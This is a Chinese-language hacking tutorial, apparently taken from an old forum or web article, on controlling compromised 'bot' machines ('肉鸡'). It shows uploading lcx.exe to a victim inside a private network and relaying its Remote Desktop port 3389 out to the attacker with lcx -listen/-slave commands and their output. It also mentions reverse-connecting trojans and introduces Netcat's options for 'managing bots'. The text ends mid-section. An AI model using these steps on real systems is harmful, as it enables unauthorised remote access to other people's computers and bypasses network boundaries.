2005/02/21 17:08 12,541 avgun.log。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

　　日语,显示不正常.呵呵.

　　netstat -an 查看开放端口 TCP 0.0.0.0:3376 0.0.0.0:0 LISTENING

　　TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING

　　TCP 0.0.0.0:3791 0.0.0.0:0 LISTENING

　　TCP 0.0.0.0:3877 0.0.0.0:0 LISTENING

　　终端已开.看下IP

　　ipconfig

　　C:>ipconfig

　　Windows 2000 IP Configuration Ethernet adapter

　　Connection-specific DNS Suffix . :

　　IP Address. . . . . . . . . . . . : 192.168.1.24

　　Subnet Mask . . . . . . . . . . . : 255.255.255.0

　　Default Gateway . . . . . . . . . : 192.168.1.1192这样的是内网了...

　　现在可以用lcx.exe搞定了...

　　上传lcx.exe到肉鸡...C:>dir lcx.exeC:WINNTsystem32

　　2006/04/02 13:40 32,768 lcx.exe首先在自己机子的cmd下运行

　　lcx.exe -listen 51 3389

　　意思是监听51端口并转发到3389端口

　　显示如下[+] Listening port 51 ......

　　[+] Listen OK!

　　[+] Listening port 3389 ......

　　[+] Listen OK!

　　[+] Waiting for Client on port:51 ......然后在肉鸡上运行 lcx.exe -slave 你的IP 51 201.1.1.1 3389

　　201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ......

　　[+] Listen OK!

　　[+] Listening port 3389 ......

　　[+] Listen OK!

　　[+] Waiting for Client on port:51 ......

　　[+] Accept a Client on port 55 from 201.1.1.1 ......

　　[+] Waiting another Client on port:3389....好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP.

　　发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡.

　　缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡了...

　　+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

　　nc.exe的使用方法

　　1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息

　　2. Netcat 1.10 for NT 帮助信息

　　3. Netcat 1.10 常用的命令格式

　　4. 管理肉鸡,更改肉鸡设置

#p#副标题#e#

　　5. 下载连接

　　######################################################################

　　1. Netcat 1.10 for NT - nc11nt.zip

　　######################################################################

　　Basic Features

　　* Outbound or inbound connections, TCP or UDP, to or from any ports

　　* Full DNS forward/reverse checking, with appropriate warnings

　　* Ability to use any local source port

　　* Ability to use any locally-configured network source address

　　* Built-in port-scanning capabilities, with randomizer

　　* Can read command line arguments from standard inputb

　　* Slow-send mode, one line every N seconds

　　* Hex dump of transmitted and received data

　　* Ability to let another program service established

　　connections

　　* Telnet-options responder

　　New for NT

　　* Ability to run in the background without a console window

　　* Ability to restart as a single-threaded server to handle a new

　　connection

　　________________________________________________________________________

　　Some of the features of netcat are:

　　Outbound or inbound connections, TCP or UDP, to or from any ports

　　Full DNS forward/reverse checking, with appropriate warnings

　　Ability to use any local source port

　　Ability to use any locally-configured network source address

　　Built-in port-scanning capabilities, with randomizer

　　Built-in loose source-routing capability

　　Can read command line arguments from standard input

　　Slow-send mode, one line every N seconds

　　Optional ability to let another program service inbound connections

　　Some of the potential uses of netcat:

　　Script backends

　　Scanning ports and inventorying services

　　Backup handlers

　　File transfers

　　Server testing and simulation

　　Firewall testing

　　Proxy gatewaying

　　Network performance testing

　　Address spoofing tests

　　Protecting X servers

　　1001 other uses you`ll likely come up with

　　Netcat + Encryption = Cryptcat

　　对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.

　　1.1 NC.EXE是一个非标准的telnet客户端程序,

　　1.2 还有一个putty.exe客户端程序,提供四种连接模式

　　-raw -telnet -rlogin -ssh.

　　######################################################################

　　2. Netcat 1.10 for NT 帮助信息

　　######################################################################

　　C:WINDOWSDesktop>nc -h

　　[v1.10 NT]

　　connect to somewhere: nc [-options] hostname port[s] [ports] ...

　　listen for inbound: nc -l -p port [options] [hostname] [port]

　　options:

　　-d detach from console, background mode (后台模式)

　　-e prog inbound program to exec [dangerous!!]

　　-g gateway source-routing hop point[s], up to 8

　　-G num source-routing pointer: 4, 8, 12, ...

　　-h this cruft (本帮助信息)

　　-i secs delay interval for lines sent, ports scanned (延迟时间)

　　-l listen mode, for inbound connects (监听模式,等待连接)

　　-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)

　　-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)

　　-o file hex dump of traffic (十六进制模式输出文件,三段)

　　-p port local port number (本地端口)

　　-r randomize local and remote ports (随机本地远程端口)

　　-s addr local source address (本地源地址)

　　-t answer TELNET negotiation

　　-u UDP mode

　　-v verbose [use twice to be more verbose] (-vv 更多信息)

　　-w secs timeout for connects and final net reads

　　-z zero-I/O mode [used for scanning] (扫描模式,-vv)

　　port numbers can be individual or ranges: m-n [inclusive]

#p#副标题#e#

　　##########